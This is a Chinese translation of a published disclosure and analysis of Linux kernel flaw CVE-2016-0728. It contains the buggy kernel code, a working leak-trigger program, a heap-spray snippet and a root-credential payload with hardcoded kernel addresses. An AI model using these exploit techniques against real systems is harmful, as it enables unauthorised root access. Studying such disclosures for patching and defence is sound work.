转载

Linux内核漏洞CVE-2016-0728的分析与利用

Linux内核漏洞CVE-2016-0728的分析与利用

介绍

Perception Point研究团队已经在Linux操作系统的内核中发现了一个0 day漏洞,这是一个本地提权漏洞。这个漏洞从2012年开始就存在于Linux的内核中了,但是我们的团队最近才发现了这个漏洞,并将漏洞的详细信息报告给了内核安全团队。在此之后,我们还发布了一个针对此漏洞的概念验证利用实例。截止至漏洞披露的那一天,这个漏洞已经影响了大约数千万的安装了Linux操作系统的个人计算机和服务器。其中有66%的设备是安卓设备(包括手机和平板电脑在内)。目前,我们和内核安全团队都没有发现任何针对此漏洞的攻击事件,我们建议安全团队对所有有可能受此漏洞影响的设备进行测试,并尽快发布相应的修复补丁。

在这篇文章中,我们将会对此漏洞的技术细节进行讨论,并且还会讨论通过这个漏洞来实现内核代码执行的相关技术。最后,我们还会给大家提供相应的 概念验证实例 ,并给大家演示如何将本地用户提权至root用户。

漏洞信息

        漏洞CVE-2016-0728 是由相关keyring功能中的引用泄漏所引起的。在我们深入了解该漏洞的详细信息之前,我们还需要了解一些基础背景知识。

在这里,我们直接引用帮助手册中的内容。驱动器在内核中保存或缓存安全数据、认证密钥、加密密钥和一些其他的数据时,必须使用到keyring功能。系统会调用接口-keyctl(当然了,系统中还存在另外两个系统调用,系统会使用这些系统调用来处理密钥:add_key和request_key,但keyctl绝对是这篇文章中最重要的。),在这个功能的帮助下,用户空间中的程序就可以管理相应的对象,并且使用这一机制来满足不同程序所需实现的不同功能。

每一个进程都可以使用keyctl(全名为KEYCTL_JOIN_SESSION_KEYRING)来为当前的会话创建相应的keyring,而且还可以为keyring指定名称,如果不需要指定名称的话,传入NULL参数即可。通过引用相同的keyring名称,程序就可以在不同进程间共享keyring对象了。如果某一进程已经拥有一个会话keyring了,那么这个系统调用便会为其创建一个新的keyring,并替换掉原有的keyring。如果某一对象被多个进程所使用,那么该对象的内部引用计数(该信息存储在一个名为“usage”的数据域中)将会自动增加。当进程尝试使用相同的keyring替换其当前的会话keyring时,泄漏就发生了。我们可以在下面所给出的代码段(代码段来源于内核版本为3.18的Linux内核)中看到,程序的执行将会直接跳转至error2标签处,这样就跳过了key_put函数的调用,并泄漏了keyring的引用信息(由函数find_keyring_by_name生成)。

long join_session_keyring(const char *name) {  ...        new = prepare_creds();  ...        keyring = find_keyring_by_name(name, false); //find_keyring_by_name increments  keyring->usage if a keyring was found        if (PTR_ERR(keyring) == -ENOKEY) {                /* not found - try and create a new one */                keyring = keyring_alloc(                        name, old->uid, old->gid, old,                        KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,                        KEY_ALLOC_IN_QUOTA, NULL);                if (IS_ERR(keyring)) {                        ret = PTR_ERR(keyring);                        goto error2;                }        } else if (IS_ERR(keyring)) {                ret = PTR_ERR(keyring);                goto error2;        } else if (keyring == new->session_keyring) {                ret = 0;                goto error2; //<-- The bug is here, skips key_put.        }        /* we've got a keyring - now install it */        ret = install_session_keyring_to_cred(new, keyring);        if (ret < 0)                goto error2;        commit_creds(new);        mutex_unlock(&key_session_mutex);        ret = keyring->serial;        key_put(keyring); okay:        return ret; error2:        mutex_unlock(&key_session_mutex); error:        abort_creds(new);        return ret; }

在用户空间中触发这个漏洞是非常容易的,我们可以在下列的代码段中看到:

/* $ gcc leak.c -o leak -lkeyutils -Wall */ /* $ ./leak */ /* $ cat /proc/keys */ #include <stddef.h> #include <stdio.h> #include <sys/types.h> #include <keyutils.h> int main(int argc, const char *argv[]) {     int i = 0;     key_serial_t serial;     serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");     if (serial < 0) {         perror("keyctl");         return -1;     }     if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {         perror("keyctl");         return -1;     }     for (i = 0; i < 100; i++) {         serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");         if (serial < 0) {             perror("keyctl");             return -1;         }     }     return 0; }

这样一来,我们便能够得到下列输出信息,这些信息中包含有泄漏的keyring引用信息:

Linux内核漏洞CVE-2016-0728的分析与利用

漏洞利用

我们需要注意的是,这个漏洞能够直接引起内存泄漏,除此之外,它还能引起很多更加严重的问题。我们在对相关代码段进行了简要的分析之后,我们发现用于存储相应对象引用计数的“usage”数据域其类型为atomic_t,这种类型可以算是int类型,即无论在32位还是64位架构的系统中,其长度都是32位。因为每一个整数从理论上来说都是有可能溢出的,所以这一发现也就验证了在该漏洞的实际利用过程中,利用引用计数溢出这一机制似乎是可行的。幸运的是,在我们进行了分析之后发现,系统的确不会对“usage”数据域进行检测,也没有防止其中数据溢出的相关措施。

如果某一进程引起了内核中某一对象的引用泄漏,那么就会使系统内核认为这个对象已经不再被使用了,并且会释放这个对象所占用的存储空间。如果该进程仍然存有该对象的另一个合法引用信息,并且在内核释放了目标对象之后使用了它,那么将会导致内核释放这条引用信息或者重新分配内存空间。这样一来,我们就可以通过这一漏洞来实现UAF(用后释放)。网络上有很多关于内核中用后释放漏洞的利用方法,大家可以自行搜索和学习,在此我们不再进行赘述。接下来的操作步骤对于一名经验丰富的漏洞研究人员而言,也许没有什么新鲜的东西了。漏洞利用代码所进行的主要操作如下:

1.得到一个密钥对象的(合法)引用信息;

2.使同一对象的“usage”数据域溢出;

3.释放keyring对象;

4.在之前使用的keyring对象所占的内存空间中,分配一个不同的内核对象(含有用户可控制的数据内容);

5.使用已释放keyring对象的引用信息来触发漏洞利用代码的执行;

第一步操作的详细信息大家可以直接从操作手册中获取,步骤二我们也已经在文章中解释过了。接下来,我们将会对其他操作步骤的技术细节进行讨论。

引用计数溢出

这一步操作实际上是对这一漏洞的扩展。“usage”数据域是int类型,这也就意味着无论在32位还是64位架构的操作系统中,它所能保存的最大值均为2的32次方。为了让“usage”数据域发生溢出,我们必须对代码段进行2^32次循环,以此来让“usage”的值变为零。

释放keyring对象

我们有很多种方法能够释放存有引用计数的keyring对象。其中一种可能成功的方法就是:通过一个进程来使keyring的“usage”变为0,然后通过keyring子系统(该系统会释放所有引用计数为0的keyring对象)中的垃圾回收算法来释放目标对象。

分配和控制内核对象

当我们的进程指向了一个已经释放的keyring对象之后,我们就需要分配一个内核对象来覆盖这个之前已经释放了的keyring对象。多亏了SLAB内存分配机制,这一步骤实现起来非常的容易。其中的主要操作代码如下:

if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {     perror("msgget");     exit(1); } for (i = 0; i < 64; i++) {     if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {         perror("msgsnd");         exit(1);     } }

获得内核代码执行权限

下列Linux内核代码段将会调用revoke函数。除此之外,我们还可以通过keyctl系统调用来引用Revoke函数指针。

void key_revoke(struct key *key) {        . . .        if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&            key->type->revoke)                key->type->revoke(key);        . . . }

keyring对象中应该包含以下信息:

Linux内核漏洞CVE-2016-0728的分析与利用

相关代码段如下:

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); struct key_type_s {     void * [12] padding;     void * revoke; } type; _commit_creds commit_creds = 0xffffffff81094250; _prepare_kernel_cred prepare_kernel_cred = 0xffffffff81094550; void userspace_revoke(void * key) {     commit_creds(prepare_kernel_cred(0)); } int main(int argc, const char *argv[]) {     ...     struct key_type * my_key_type = NULL;     ...     my_key_type = malloc(sizeof(*my_key_type));     my_key_type->revoke = (void*)userspace_revoke;     ... }

我们在一台配有英特尔酷睿i7-5500 CPU的设备上进行了测试,整个测试过程花费了大约30分钟的时间,我们所得到的信息如下图所示:

Linux内核漏洞CVE-2016-0728的分析与利用

漏洞缓解方案&结论

内核版本为3.8及其以上的Linux内核都会受到这个漏洞的影响。SMEP和SMAP从某种程度上来说可以给予用户提供一定的保护。也许我们会在之后的文章中讨论如何绕过这些缓解措施,但是现在迫在眉睫的事情就是尽快修复这个漏洞。

感谢David Howells和Wade Mealing,以及整个红帽安全团队对这个漏洞所付出的努力。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。

原文链接:http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
原文  http://bobao.360.cn/learning/detail/2576.html
正文到此结束
Loading...